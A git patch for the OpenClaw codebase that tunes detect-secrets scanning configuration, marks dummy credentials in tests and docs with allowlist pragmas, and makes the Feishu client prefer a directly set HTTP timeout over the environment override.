allowlist * Secrets: stabilize gateway chat env allowlist * Secrets: allowlist runtime snapshot save fixture * Secrets: allowlist oauth profile fixtures * Secrets: allowlist compaction identifier fixture * Secrets: allowlist model auth fixture * Secrets: allowlist model status fixtures * Secrets: allowlist custom onboarding fixture * Secrets: allowlist mattermost token summary fixtures * Secrets: allowlist gateway auth suite fixtures * Secrets: allowlist channel summary fixture * Secrets: allowlist provider usage auth fixtures * Secrets: allowlist media proxy fixture * Secrets: allowlist secrets audit fixtures * Secrets: refresh baseline after final fixture allowlists * Feishu: prefer explicit client timeout * Feishu: test direct timeout precedence --- .detect-secrets.cfg | 6 +- .pre-commit-config.yaml | 4 +- .secrets.baseline | 36 ++--- appcast.xml | 6 +- .../voice/TalkModeConfigParsingTest.kt | 16 +-- .../Gateway/GatewaySettingsStore.swift | 2 +- .../Tests/TalkModeConfigParsingTests.swift | 2 +- docs/channels/telegram.md | 2 +- docs/gateway/secrets.md | 4 +- docs/platforms/raspberry-pi.md | 2 +- docs/providers/kilocode.md | 4 +- .../bluebubbles/src/config-schema.test.ts | 2 +- extensions/feishu/src/client.test.ts | 25 +++- extensions/feishu/src/client.ts | 12 +- .../feishu/src/monitor.reaction.test.ts | 2 +- extensions/feishu/src/monitor.startup.test.ts | 2 +- .../nextcloud-talk/src/inbound.authz.test.ts | 2 +- .../src/monitor.test-fixtures.ts | 2 +- ...th-profiles.ensureauthprofilestore.test.ts | 6 +- ...uth-profiles.runtime-snapshot-save.test.ts | 2 +- src/agents/auth-profiles/oauth.test.ts | 22 +-- ...compaction.identifier-preservation.test.ts | 2 +- src/agents/model-auth.test.ts | 4 +- src/agents/model-auth.ts | 2 +- src/agents/pi-model-discovery.ts | 5 +- src/agents/sandbox/novnc-auth.ts | 2 +- src/cli/command-secret-gateway.ts | 2 +- src/commands/auth-choice.apply-helpers.ts | 4 +- src/commands/models/list.status.test.ts | 10 +- src/commands/onboard-auth.credentials.ts | 3 +- src/commands/onboard-custom.test.ts | 2 +- ...oard-non-interactive.provider-auth.test.ts | 50 +++---- .../onboard-non-interactive/api-keys.ts | 3 +- .../local/auth-choice.ts | 6 +- src/commands/onboard-search.test.ts | 16 +-- src/commands/onboard-search.ts | 6 +- src/commands/onboard-types.ts | 2 +- src/commands/onboard.test.ts | 2 +- src/commands/onboard.ts | 4 +- .../channels.mattermost-token-summary.test.ts | 8 +- src/commands/status-all/channels.ts | 5 +- src/config/schema.help.ts | 4 +- src/config/schema.labels.ts | 20 +-- src/config/types.secrets.ts | 6 +- src/gateway/auth-mode-policy.test.ts | 6 +- src/gateway/auth.ts | 2 +- src/gateway/call.ts | 4 +- src/gateway/credentials.ts | 12 +- src/gateway/protocol/connect-error-details.ts | 6 +- .../resolve-configured-secret-input-string.ts | 2 +- .../server-methods/nodes.invoke-wake.test.ts | 2 +- src/gateway/server.auth.modes.suite.ts | 6 +- src/gateway/server.reload.test.ts | 8 +- src/infra/channel-summary.test.ts | 4 +- src/infra/channel-summary.ts | 5 +- ...rovider-usage.auth.normalizes-keys.test.ts | 6 +- .../providers/moonshot/video.test.ts | 4 +- .../runner.auto-audio.test.ts | 4 +- src/media-understanding/runner.proxy.test.ts | 4 +- .../runner.skip-tiny-audio.test.ts | 2 +- src/memory/embeddings.test.ts | 6 +- src/secrets/apply.ts | 6 +- src/secrets/audit.test.ts | 4 +- src/secrets/audit.ts | 4 +- src/secrets/command-config.ts | 4 +- src/secrets/credential-matrix.ts | 2 +- src/secrets/resolve.test.ts | 6 +- src/secrets/runtime.test.ts | 56 ++++---- src/secrets/secret-value.ts | 2 +- src/secrets/target-registry-data.ts | 133 +++++++++--------- src/secrets/target-registry-pattern.test.ts | 4 +- src/secrets/target-registry-pattern.ts | 3 +- src/secrets/target-registry-types.ts | 6 +- src/tui/gateway-chat.test.ts | 20 +-- src/tui/tui-formatters.test.ts | 4 +- src/utils/mask-api-key.test.ts | 2 +- src/wizard/onboarding.finalize.test.ts | 6 +- src/wizard/onboarding.gateway-config.ts | 2 +- ui/src/i18n/locales/de.ts | 2 +- ui/src/i18n/locales/es.ts | 2 +- 80 files changed, 363 insertions(+), 317 deletions(-) diff --git a/.detect-secrets.cfg b/.detect-secrets.cfg index 38912567c9b..e40a4a1689e 100644 --- a/.detect-secrets.cfg +++ b/.detect-secrets.cfg @@ -7,10 +7,6 @@ [exclude-files] # pnpm lockfiles contain lots of high-entropy package integrity blobs. pattern = (^|/)pnpm-lock\.yaml$ -# Generated output and vendored assets. -pattern = (^|/)(dist|vendor)/ -# Local config file with allowlist patterns. -pattern = (^|/)\.detect-secrets\.cfg$ [exclude-lines] # Fastlane checks for private key marker; not a real key. @@ -28,3 +24,5 @@ pattern = "talk\.apiKey" pattern = === "string" # specific optional-chaining password check that didn't match the line above. pattern = typeof remote\?\.password === "string" +# Docker apt signing key fingerprint constant; not a secret. +pattern = OPENCLAW_DOCKER_GPG_FINGERPRINT= diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 30b6363a34d..296660d1014 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -30,7 +30,7 @@ repos: - --baseline - .secrets.baseline - --exclude-files - - '(^|/)(dist/|vendor/|pnpm-lock\.yaml$|\.detect-secrets\.cfg$)' + - '(^|/)pnpm-lock\.yaml$' - --exclude-lines - 'key_content\.include\?\("BEGIN PRIVATE KEY"\)' - --exclude-lines @@ -47,6 +47,8 @@ repos: - '=== "string"' - --exclude-lines - 'typeof remote\?\.password === "string"' + - --exclude-lines + - "OPENCLAW_DOCKER_GPG_FINGERPRINT=" # Shell script linting - repo: https://github.com/koalaman/shellcheck-precommit rev: v0.11.0 diff --git a/.secrets.baseline b/.secrets.baseline index 089515fe250..fbfbf368f21 100644 --- a/.secrets.baseline +++ b/.secrets.baseline @@ -141,7 +141,8 @@ "\"gateway\\.auth\\.password\"", "\"talk\\.apiKey\"", "=== \"string\"", - "typeof remote\\?\\.password === \"string\"" + "typeof remote\\?\\.password === \"string\"", + "OPENCLAW_DOCKER_GPG_FINGERPRINT=" ] } ], @@ -152,14 +153,14 @@ "filename": ".detect-secrets.cfg", "hashed_secret": "1348b145fa1a555461c1b790a2f66614781091e9", "is_verified": false, - "line_number": 17 + "line_number": 13 }, { "type": "Secret Keyword", "filename": ".detect-secrets.cfg", "hashed_secret": "fe88fceb47e040ba1bfafa4ac639366188df2f6d", "is_verified": false, - "line_number": 19 + "line_number": 15 } ], "appcast.xml": [ @@ -12387,21 +12388,14 @@ "filename": "src/config/schema.help.ts", "hashed_secret": "9f4cda226d3868676ac7f86f59e4190eb94bd208", "is_verified": false, - "line_number": 109 + "line_number": 647 }, { "type": "Secret Keyword", "filename": "src/config/schema.help.ts", "hashed_secret": "01822c8bbf6a8b136944b14182cb885100ec2eae", "is_verified": false, - "line_number": 130 - }, - { - "type": "Secret Keyword", - "filename": "src/config/schema.help.ts", - "hashed_secret": "bb7dfd9746e660e4a4374951ec5938ef0e343255", - "is_verified": false, - "line_number": 187 + "line_number": 678 } ], "src/config/schema.irc.ts": [ @@ -12720,21 +12714,21 @@ "filename": "src/infra/provider-usage.auth.normalizes-keys.test.ts", "hashed_secret": "45c7365e3b542cdb4fae6ec10c2ff149224d7656", "is_verified": false, - "line_number": 80 + "line_number": 123 }, { "type": "Secret Keyword", "filename": "src/infra/provider-usage.auth.normalizes-keys.test.ts", "hashed_secret": "b67074884ab7ef7c7a8cd6a3da9565d96c792248", "is_verified": false, - "line_number": 81 + "line_number": 124 }, { "type": "Secret Keyword", "filename": "src/infra/provider-usage.auth.normalizes-keys.test.ts", "hashed_secret": "d4d8027e64f9cf4180d3aecfe31ea409368022ee", "is_verified": false, - "line_number": 82 + "line_number": 125 } ], "src/infra/shell-env.test.ts": [ @@ -12900,7 +12894,7 @@ "filename": "src/media-understanding/runner.auto-audio.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 40 + "line_number": 23 } ], "src/media-understanding/runner.deepgram.test.ts": [ @@ -12934,21 +12928,21 @@ "filename": "src/memory/embeddings.test.ts", "hashed_secret": "a47110e348a3063541fb1f1f640d635d457181a0", "is_verified": false, - "line_number": 45 + "line_number": 47 }, { "type": "Secret Keyword", "filename": "src/memory/embeddings.test.ts", "hashed_secret": "c734e47630dda71619c696d88381f06f7511bd78", "is_verified": false, - "line_number": 160 + "line_number": 195 }, { "type": "Secret Keyword", "filename": "src/memory/embeddings.test.ts", "hashed_secret": "56e1d57b8db262b08bc73c60ed08d8c92e59503f", "is_verified": false, - "line_number": 189 + "line_number": 291 } ], "src/pairing/pairing-store.ts": [ @@ -13060,7 +13054,7 @@ "filename": "src/tui/gateway-chat.test.ts", "hashed_secret": "6255675480f681df08c1704b7b3cd2c49917f0e2", "is_verified": false, - "line_number": 85 + "line_number": 60 } ], "src/web/login.test.ts": [ @@ -13100,5 +13094,5 @@ } ] }, - "generated_at": "2026-02-17T13:34:38Z" + "generated_at": "2026-03-07T00:11:03Z" } diff --git a/appcast.xml b/appcast.xml index 22e4df0b698..f1e626843dc 100644 --- a/appcast.xml +++ b/appcast.xml @@ -219,7 +219,7 @@

View full changelog

]]> - + 2026.3.1 @@ -357,7 +357,7 @@

View full changelog

]]> - +
- \ No newline at end of file + diff --git a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt b/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt index 5daa62080d7..dbc40f3c22b 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt @@ -1,8 +1,10 @@ package ai.openclaw.android.voice import kotlinx.serialization.json.Json +import kotlinx.serialization.json.buildJsonObject import kotlinx.serialization.json.jsonPrimitive import kotlinx.serialization.json.jsonObject +import kotlinx.serialization.json.put import org.junit.Assert.assertEquals import org.junit.Assert.assertNotNull import org.junit.Assert.assertTrue @@ -38,16 +40,12 @@ class TalkModeConfigParsingTest { @Test fun fallsBackToLegacyTalkFieldsWhenNormalizedPayloadMissing() { + val legacyApiKey = "legacy-key" // pragma: allowlist secret val talk = - json.parseToJsonElement( - """ - { - "voiceId": "voice-legacy", - "apiKey": "legacy-key" - } - """.trimIndent(), - ) - .jsonObject + buildJsonObject { + put("voiceId", "voice-legacy") + put("apiKey", legacyApiKey) // pragma: allowlist secret + } val selection = TalkModeManager.selectTalkProviderConfig(talk) assertNotNull(selection) diff --git a/apps/ios/Sources/Gateway/GatewaySettingsStore.swift b/apps/ios/Sources/Gateway/GatewaySettingsStore.swift index e467659a451..d91d2217741 100644 --- a/apps/ios/Sources/Gateway/GatewaySettingsStore.swift +++ b/apps/ios/Sources/Gateway/GatewaySettingsStore.swift @@ -26,7 +26,7 @@ enum GatewaySettingsStore { private static let preferredGatewayStableIDAccount = "preferredStableID" private static let lastDiscoveredGatewayStableIDAccount = "lastDiscoveredStableID" private static let lastGatewayConnectionAccount = "lastConnection" - private static let talkProviderApiKeyAccountPrefix = "provider.apiKey." + private static let talkProviderApiKeyAccountPrefix = "provider.apiKey." // pragma: allowlist secret static func bootstrapPersistence() { self.ensureStableInstanceID() diff --git a/apps/ios/Tests/TalkModeConfigParsingTests.swift b/apps/ios/Tests/TalkModeConfigParsingTests.swift index a09f095a233..dc4a29548e0 100644 --- a/apps/ios/Tests/TalkModeConfigParsingTests.swift +++ b/apps/ios/Tests/TalkModeConfigParsingTests.swift @@ -23,7 +23,7 @@ import Testing @Test func ignoresLegacyTalkFieldsWhenNormalizedPayloadMissing() { let talk: [String: Any] = [ "voiceId": "voice-legacy", - "apiKey": "legacy-key", + "apiKey": "legacy-key", // pragma: allowlist secret ] let selection = TalkModeManager.selectTalkProviderConfig(talk) diff --git a/docs/channels/telegram.md b/docs/channels/telegram.md index e975db4c357..e50590c8427 100644 --- a/docs/channels/telegram.md +++ b/docs/channels/telegram.md @@ -804,7 +804,7 @@ openclaw message poll --channel telegram --target -1001234567890:topic:42 \ ```yaml channels: telegram: - proxy: socks5://user:pass@proxy-host:1080 + proxy: socks5://:@proxy-host:1080 ``` - Node 22+ defaults to `autoSelectFamily=true` (except WSL2) and `dnsResultOrder=ipv4first`. diff --git a/docs/gateway/secrets.md b/docs/gateway/secrets.md index db4be160cd7..2956d53133e 100644 --- a/docs/gateway/secrets.md +++ b/docs/gateway/secrets.md @@ -179,8 +179,8 @@ Request payload (stdin): Response payload (stdout): -```json -{ "protocolVersion": 1, "values": { "providers/openai/apiKey": "sk-..." } } +```jsonc +{ "protocolVersion": 1, "values": { "providers/openai/apiKey": "" } } // pragma: allowlist secret ``` Optional per-id errors: diff --git a/docs/platforms/raspberry-pi.md b/docs/platforms/raspberry-pi.md index 79c9c34fd0d..e46076e869d 100644 --- a/docs/platforms/raspberry-pi.md +++ b/docs/platforms/raspberry-pi.md @@ -197,7 +197,7 @@ See [Pi USB boot guide](https://www.raspberrypi.com/documentation/computers/rasp On lower-power Pi hosts, enable Node's module compile cache so repeated CLI runs are faster: ```bash -grep -q 'NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache' ~/.bashrc || cat >> ~/.bashrc <<'EOF' +grep -q 'NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache' ~/.bashrc || cat >> ~/.bashrc <<'EOF' # pragma: allowlist secret export NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache mkdir -p /var/tmp/openclaw-compile-cache export OPENCLAW_NO_RESPAWN=1 diff --git a/docs/providers/kilocode.md b/docs/providers/kilocode.md index 146e22932c4..009f4d83812 100644 --- a/docs/providers/kilocode.md +++ b/docs/providers/kilocode.md @@ -25,14 +25,14 @@ openclaw onboard --kilocode-api-key Or set the environment variable: ```bash -export KILOCODE_API_KEY="your-api-key" +export KILOCODE_API_KEY="" # pragma: allowlist secret ``` ## Config snippet ```json5 { - env: { KILOCODE_API_KEY: "sk-..." }, + env: { KILOCODE_API_KEY: "" }, // pragma: allowlist secret agents: { defaults: { model: { primary: "kilocode/anthropic/claude-opus-4.6" }, diff --git a/extensions/bluebubbles/src/config-schema.test.ts b/extensions/bluebubbles/src/config-schema.test.ts index 5bf66704d35..308ee9732b5 100644 --- a/extensions/bluebubbles/src/config-schema.test.ts +++ b/extensions/bluebubbles/src/config-schema.test.ts @@ -5,7 +5,7 @@ describe("BlueBubblesConfigSchema", () => { it("accepts account config when serverUrl and password are both set", () => { const parsed = BlueBubblesConfigSchema.safeParse({ serverUrl: "http://localhost:1234", - password: "secret", + password: "secret", // pragma: allowlist secret }); expect(parsed.success).toBe(true); }); diff --git a/extensions/feishu/src/client.test.ts b/extensions/feishu/src/client.test.ts index 00c4d0aafd8..a5855fa0745 100644 --- a/extensions/feishu/src/client.test.ts +++ b/extensions/feishu/src/client.test.ts @@ -192,7 +192,7 @@ describe("createFeishuClient HTTP timeout", () => { ); }); - it("uses env timeout override when provided", async () => { + it("uses env timeout override when provided and no direct timeout is set", async () => { process.env[FEISHU_HTTP_TIMEOUT_ENV_VAR] = "60000"; createFeishuClient({ @@ -214,6 +214,29 @@ describe("createFeishuClient HTTP timeout", () => { ); }); + it("prefers direct timeout over env override", async () => { + process.env[FEISHU_HTTP_TIMEOUT_ENV_VAR] = "60000"; + + createFeishuClient({ + appId: "app_10", + appSecret: "secret_10", + accountId: "timeout-direct-override", + httpTimeoutMs: 120_000, + config: { httpTimeoutMs: 45_000 }, + }); + + const calls = (LarkClient as unknown as ReturnType).mock.calls; + const lastCall = calls[calls.length - 1][0] as { + httpInstance: { get: (...args: unknown[]) => Promise }; + }; + await lastCall.httpInstance.get("https://example.com/api"); + + expect(mockBaseHttpInstance.get).toHaveBeenCalledWith( + "https://example.com/api", + expect.objectContaining({ timeout: 120_000 }), + ); + }); + it("clamps env timeout override to max bound", async () => { process.env[FEISHU_HTTP_TIMEOUT_ENV_VAR] = String(FEISHU_HTTP_TIMEOUT_MAX_MS + 123_456); diff --git a/extensions/feishu/src/client.ts b/extensions/feishu/src/client.ts index 26da3c9bfdd..d9fdde7f059 100644 --- a/extensions/feishu/src/client.ts +++ b/extensions/feishu/src/client.ts @@ -79,6 +79,15 @@ function resolveConfiguredHttpTimeoutMs(creds: FeishuClientCredentials): number return Math.min(Math.max(rounded, 1), FEISHU_HTTP_TIMEOUT_MAX_MS); }; + const fromDirectField = creds.httpTimeoutMs; + if ( + typeof fromDirectField === "number" && + Number.isFinite(fromDirectField) && + fromDirectField > 0 + ) { + return clampTimeout(fromDirectField); + } + const envRaw = process.env[FEISHU_HTTP_TIMEOUT_ENV_VAR]; if (envRaw) { const envValue = Number(envRaw); @@ -88,8 +97,7 @@ function resolveConfiguredHttpTimeoutMs(creds: FeishuClientCredentials): number } const fromConfig = creds.config?.httpTimeoutMs; - const fromDirectField = creds.httpTimeoutMs; - const timeout = fromDirectField ?? fromConfig; + const timeout = fromConfig; if (typeof timeout !== "number" || !Number.isFinite(timeout) || timeout <= 0) { return FEISHU_HTTP_TIMEOUT_MS; } diff --git a/extensions/feishu/src/monitor.reaction.test.ts b/extensions/feishu/src/monitor.reaction.test.ts index f69ac647376..06eb0e37a97 100644 --- a/extensions/feishu/src/monitor.reaction.test.ts +++ b/extensions/feishu/src/monitor.reaction.test.ts @@ -77,7 +77,7 @@ function buildDebounceAccount(): ResolvedFeishuAccount { enabled: true, configured: true, appId: "cli_test", - appSecret: "secret_test", + appSecret: "secret_test", // pragma: allowlist secret domain: "feishu", config: { enabled: true, diff --git a/extensions/feishu/src/monitor.startup.test.ts b/extensions/feishu/src/monitor.startup.test.ts index 29b00fab200..7e1c2c60e5d 100644 --- a/extensions/feishu/src/monitor.startup.test.ts +++ b/extensions/feishu/src/monitor.startup.test.ts @@ -41,7 +41,7 @@ function buildMultiAccountWebsocketConfig(accountIds: string[]): ClawdbotConfig { enabled: true, appId: `cli_${accountId}`, - appSecret: `secret_${accountId}`, + appSecret: `secret_${accountId}`, // pragma: allowlist secret connectionMode: "websocket", }, ]), diff --git a/extensions/nextcloud-talk/src/inbound.authz.test.ts b/extensions/nextcloud-talk/src/inbound.authz.test.ts index 188820eeb6d..f19fa73e020 100644 --- a/extensions/nextcloud-talk/src/inbound.authz.test.ts +++ b/extensions/nextcloud-talk/src/inbound.authz.test.ts @@ -45,7 +45,7 @@ describe("nextcloud-talk inbound authz", () => { enabled: true, baseUrl: "", secret: "", - secretSource: "none", + secretSource: "none", // pragma: allowlist secret config: { dmPolicy: "pairing", allowFrom: [], diff --git a/extensions/nextcloud-talk/src/monitor.test-fixtures.ts b/extensions/nextcloud-talk/src/monitor.test-fixtures.ts index 21d41976c98..1a65a1b25e6 100644 --- a/extensions/nextcloud-talk/src/monitor.test-fixtures.ts +++ b/extensions/nextcloud-talk/src/monitor.test-fixtures.ts @@ -16,7 +16,7 @@ export function createSignedCreateMessageRequest(params?: { backend?: string }) const body = JSON.stringify(payload); const { random, signature } = generateNextcloudTalkSignature({ body, - secret: "nextcloud-secret", + secret: "nextcloud-secret", // pragma: allowlist secret }); return { body, diff --git a/src/agents/auth-profiles.ensureauthprofilestore.test.ts b/src/agents/auth-profiles.ensureauthprofilestore.test.ts index 537cb9512d4..10655a9f502 100644 --- a/src/agents/auth-profiles.ensureauthprofilestore.test.ts +++ b/src/agents/auth-profiles.ensureauthprofilestore.test.ts @@ -130,7 +130,7 @@ describe("ensureAuthProfileStore", () => { profile: { provider: "anthropic", mode: "api_key", - apiKey: "sk-ant-alias", + apiKey: "sk-ant-alias", // pragma: allowlist secret }, expected: { type: "api_key", @@ -156,7 +156,7 @@ describe("ensureAuthProfileStore", () => { provider: "anthropic", type: "api_key", key: "sk-ant-canonical", - apiKey: "sk-ant-alias", + apiKey: "sk-ant-alias", // pragma: allowlist secret }, expected: { type: "api_key", @@ -210,7 +210,7 @@ describe("ensureAuthProfileStore", () => { anthropic: { provider: "anthropic", mode: "api_key", - apiKey: "sk-ant-legacy", + apiKey: "sk-ant-legacy", // pragma: allowlist secret }, }, null, diff --git a/src/agents/auth-profiles.runtime-snapshot-save.test.ts b/src/agents/auth-profiles.runtime-snapshot-save.test.ts index 3cb3d238975..d9146a7b1ee 100644 --- a/src/agents/auth-profiles.runtime-snapshot-save.test.ts +++ b/src/agents/auth-profiles.runtime-snapshot-save.test.ts @@ -37,7 +37,7 @@ describe("auth profile runtime snapshot persistence", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: {}, - env: { OPENAI_API_KEY: "sk-runtime-openai" }, + env: { OPENAI_API_KEY: "sk-runtime-openai" }, // pragma: allowlist secret agentDirs: [agentDir], }); activateSecretsRuntimeSnapshot(snapshot); diff --git a/src/agents/auth-profiles/oauth.test.ts b/src/agents/auth-profiles/oauth.test.ts index f5c29fe3c2a..05ccdb5af04 100644 --- a/src/agents/auth-profiles/oauth.test.ts +++ b/src/agents/auth-profiles/oauth.test.ts @@ -65,7 +65,7 @@ describe("resolveApiKeyForProfile config compatibility", () => { profileId, }); expect(result).toEqual({ - apiKey: "tok-123", + apiKey: "tok-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -124,7 +124,7 @@ describe("resolveApiKeyForProfile config compatibility", () => { }); // token ↔ oauth are bidirectionally compatible bearer-token auth paths. expect(result).toEqual({ - apiKey: "access-123", + apiKey: "access-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -145,7 +145,7 @@ describe("resolveApiKeyForProfile token expiry handling", () => { }), }); expect(result).toEqual({ - apiKey: "tok-123", + apiKey: "tok-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -165,7 +165,7 @@ describe("resolveApiKeyForProfile token expiry handling", () => { }), }); expect(result).toEqual({ - apiKey: "tok-123", + apiKey: "tok-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -231,7 +231,7 @@ describe("resolveApiKeyForProfile secret refs", () => { it("resolves api_key keyRef from env", async () => { const profileId = "openai:default"; const previous = process.env.OPENAI_API_KEY; - process.env.OPENAI_API_KEY = "sk-openai-ref"; + process.env.OPENAI_API_KEY = "sk-openai-ref"; // pragma: allowlist secret try { const result = await resolveApiKeyForProfile({ cfg: cfgFor(profileId, "openai", "api_key"), @@ -248,7 +248,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "sk-openai-ref", + apiKey: "sk-openai-ref", // pragma: allowlist secret provider: "openai", email: undefined, }); @@ -282,7 +282,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "gh-ref-token", + apiKey: "gh-ref-token", // pragma: allowlist secret provider: "github-copilot", email: undefined, }); @@ -315,7 +315,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "gh-ref-token", + apiKey: "gh-ref-token", // pragma: allowlist secret provider: "github-copilot", email: undefined, }); @@ -331,7 +331,7 @@ describe("resolveApiKeyForProfile secret refs", () => { it("resolves inline ${ENV} api_key values", async () => { const profileId = "openai:inline-env"; const previous = process.env.OPENAI_API_KEY; - process.env.OPENAI_API_KEY = "sk-openai-inline"; + process.env.OPENAI_API_KEY = "sk-openai-inline"; // pragma: allowlist secret try { const result = await resolveApiKeyForProfile({ cfg: cfgFor(profileId, "openai", "api_key"), @@ -348,7 +348,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "sk-openai-inline", + apiKey: "sk-openai-inline", // pragma: allowlist secret provider: "openai", email: undefined, }); @@ -381,7 +381,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "gh-inline-token", + apiKey: "gh-inline-token", // pragma: allowlist secret provider: "github-copilot", email: undefined, }); diff --git a/src/agents/compaction.identifier-preservation.test.ts b/src/agents/compaction.identifier-preservation.test.ts index cdf742e1489..139c4923b27 100644 --- a/src/agents/compaction.identifier-preservation.test.ts +++ b/src/agents/compaction.identifier-preservation.test.ts @@ -31,7 +31,7 @@ describe("compaction identifier-preservation instructions", () => { } as unknown as NonNullable; const summarizeBase: Omit = { model: testModel, - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret reserveTokens: 4000, maxChunkTokens: 8000, contextWindow: 200_000, diff --git a/src/agents/model-auth.test.ts b/src/agents/model-auth.test.ts index 86bc6bba5a0..943070960d3 100644 --- a/src/agents/model-auth.test.ts +++ b/src/agents/model-auth.test.ts @@ -7,7 +7,7 @@ describe("resolveAwsSdkEnvVarName", () => { const env = { AWS_BEARER_TOKEN_BEDROCK: "bearer", AWS_ACCESS_KEY_ID: "access", - AWS_SECRET_ACCESS_KEY: "secret", + AWS_SECRET_ACCESS_KEY: "secret", // pragma: allowlist secret AWS_PROFILE: "default", } as NodeJS.ProcessEnv; @@ -17,7 +17,7 @@ describe("resolveAwsSdkEnvVarName", () => { it("uses access keys when bearer token is missing", () => { const env = { AWS_ACCESS_KEY_ID: "access", - AWS_SECRET_ACCESS_KEY: "secret", + AWS_SECRET_ACCESS_KEY: "secret", // pragma: allowlist secret AWS_PROFILE: "default", } as NodeJS.ProcessEnv; diff --git a/src/agents/model-auth.ts b/src/agents/model-auth.ts index 734cd7b2666..68a117c96a9 100644 --- a/src/agents/model-auth.ts +++ b/src/agents/model-auth.ts @@ -90,7 +90,7 @@ function resolveSyntheticLocalProviderAuth(params: { } return { - apiKey: "ollama-local", + apiKey: "ollama-local", // pragma: allowlist secret source: "models.providers.ollama (synthetic local key)", mode: "api-key", }; diff --git a/src/agents/pi-model-discovery.ts b/src/agents/pi-model-discovery.ts index c283a653310..6ed1fc0b338 100644 --- a/src/agents/pi-model-discovery.ts +++ b/src/agents/pi-model-discovery.ts @@ -119,9 +119,10 @@ function createAuthStorage(AuthStorageLike: unknown, path: string, creds: PiCred ? withFactory.create(path) : new (AuthStorageLike as { new (path: string): unknown })(path) ) as PiAuthStorage & { - setRuntimeApiKey?: (provider: string, apiKey: string) => void; + setRuntimeApiKey?: (provider: string, apiKey: string) => void; // pragma: allowlist secret }; - if (typeof withRuntimeOverride.setRuntimeApiKey === "function") { + const hasRuntimeApiKeyOverride = typeof withRuntimeOverride.setRuntimeApiKey === "function"; // pragma: allowlist secret + if (hasRuntimeApiKeyOverride) { for (const [provider, credential] of Object.entries(creds)) { if (credential.type === "api_key") { withRuntimeOverride.setRuntimeApiKey(provider, credential.key); diff --git a/src/agents/sandbox/novnc-auth.ts b/src/agents/sandbox/novnc-auth.ts index ef1e78334b0..ee46617a840 100644 --- a/src/agents/sandbox/novnc-auth.ts +++ b/src/agents/sandbox/novnc-auth.ts @@ -1,6 +1,6 @@ import crypto from "node:crypto"; -export const NOVNC_PASSWORD_ENV_KEY = "OPENCLAW_BROWSER_NOVNC_PASSWORD"; +export const NOVNC_PASSWORD_ENV_KEY = "OPENCLAW_BROWSER_NOVNC_PASSWORD"; // pragma: allowlist secret const NOVNC_TOKEN_TTL_MS = 60 * 1000; const NOVNC_PASSWORD_LENGTH = 8; const NOVNC_PASSWORD_ALPHABET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; diff --git a/src/cli/command-secret-gateway.ts b/src/cli/command-secret-gateway.ts index dfbb425a49d..b1eb174a512 100644 --- a/src/cli/command-secret-gateway.ts +++ b/src/cli/command-secret-gateway.ts @@ -25,7 +25,7 @@ type ResolveCommandSecretsResult = { hadUnresolvedTargets: boolean; }; -export type CommandSecretResolutionMode = "strict" | "summary" | "operational_readonly"; +export type CommandSecretResolutionMode = "strict" | "summary" | "operational_readonly"; // pragma: allowlist secret export type CommandSecretTargetState = | "resolved_gateway" diff --git a/src/commands/auth-choice.apply-helpers.ts b/src/commands/auth-choice.apply-helpers.ts index f753aa557bf..122be392153 100644 --- a/src/commands/auth-choice.apply-helpers.ts +++ b/src/commands/auth-choice.apply-helpers.ts @@ -20,7 +20,7 @@ import type { SecretInputMode } from "./onboard-types.js"; const ENV_SOURCE_LABEL_RE = /(?:^|:\s)([A-Z][A-Z0-9_]*)$/; -type SecretRefChoice = "env" | "provider"; +type SecretRefChoice = "env" | "provider"; // pragma: allowlist secret export type SecretInputModePromptCopy = { modeMessage?: string; @@ -101,7 +101,7 @@ export async function promptSecretRefForOnboarding(params: { const defaultEnvVar = params.preferredEnvVar ?? resolveDefaultProviderEnvVar(params.provider) ?? ""; const defaultFilePointer = resolveDefaultFilePointerId(params.provider); - let sourceChoice: SecretRefChoice = "env"; + let sourceChoice: SecretRefChoice = "env"; // pragma: allowlist secret while (true) { const sourceRaw: SecretRefChoice = await params.prompter.select({ diff --git a/src/commands/models/list.status.test.ts b/src/commands/models/list.status.test.ts index a2563b09f08..7a792ac042d 100644 --- a/src/commands/models/list.status.test.ts +++ b/src/commands/models/list.status.test.ts @@ -9,14 +9,14 @@ const mocks = vi.hoisted(() => { type: "oauth", provider: "anthropic", access: "sk-ant-oat01-ACCESS-TOKEN-1234567890", - refresh: "sk-ant-ort01-REFRESH-TOKEN-1234567890", + refresh: "sk-ant-ort01-REFRESH-TOKEN-1234567890", // pragma: allowlist secret expires: Date.now() + 60_000, email: "peter@example.com", }, "anthropic:work": { type: "api_key", provider: "anthropic", - key: "sk-ant-api-0123456789abcdefghijklmnopqrstuvwxyz", + key: "sk-ant-api-0123456789abcdefghijklmnopqrstuvwxyz", // pragma: allowlist secret }, "openai-codex:default": { type: "oauth", @@ -49,13 +49,13 @@ const mocks = vi.hoisted(() => { resolveEnvApiKey: vi.fn((provider: string) => { if (provider === "openai") { return { - apiKey: "sk-openai-0123456789abcdefghijklmnopqrstuvwxyz", + apiKey: "sk-openai-0123456789abcdefghijklmnopqrstuvwxyz", // pragma: 